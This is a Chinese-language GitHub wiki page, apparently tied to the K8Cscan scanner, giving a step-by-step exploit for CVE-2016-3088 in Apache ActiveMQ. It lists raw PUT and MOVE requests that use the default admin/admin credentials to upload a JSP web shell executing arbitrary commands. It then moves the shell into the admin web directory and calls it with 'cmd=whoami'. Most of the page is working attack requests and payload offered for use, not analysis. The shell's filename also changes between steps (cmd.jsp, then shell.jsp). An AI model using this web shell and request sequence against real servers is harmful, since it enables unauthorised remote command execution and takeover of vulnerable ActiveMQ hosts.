Skip to content

漏洞利用 CVE 2016 3088 ActiveMQ GetShell Exploit

k8gege edited this page Oct 25, 2019 · 6 revisions

K8Cscan 20191025

CVE-2016-3088 ActiveMQ GetShell Exploit

0x000 漏洞信息

漏洞编号: CVE-2016-3088
漏洞原理: ActiveMQ 中的 FileServer 服务允许用户通过 PUT/MOVE方法上传文件到指定目录
影响版本: Apache ActiveMQ 5.0.0 – 5.13.2

0x001 获取路径

PUT /fileserver/%20/%20

0x002 上传shell

上传和移动文件需登陆,默认帐密admin/admin,将以下代码双引号进行转义(原本是转义好的被github过滤了)
PUT
AddUrl: /fileserver/cmd.jsp
PUTData: <%@ page import="java.io.*"%><%out.print("Hello");String strcmd = request.getParameter("cmd");String line =null;Process p=Runtime.getRuntime().exec(strcmd);InputStream is = p.getInputStream();BufferedReader br = new BufferedReader(new InputStreamReader(is));while((line =br.readLine())!=null){out.print(line+"");}%>
Authorization: admin:admin

0x003 移动shell

根目录和fileserver均不解析JSP文件,好在admin和api目录可以解析
MOVE
AddUrl: /fileserver/cmd.jsp
Destination: file://C:/Users/null/Desktop/apache-activemq-5.9.0/webapps/admin/cmd.jsp

0x004 Cscan调用

0x005 连接shell

访问http://192.168.1.26:8161/admin/shell.jsp?cmd=whoami

0x006 视频教程

Video1: K8Cscan Apache ActiveMQ GetShell CVE-2016-3088
Video2: WhatCMS指纹识别内网ActiveMQ&GetShell

Clone this wiki locally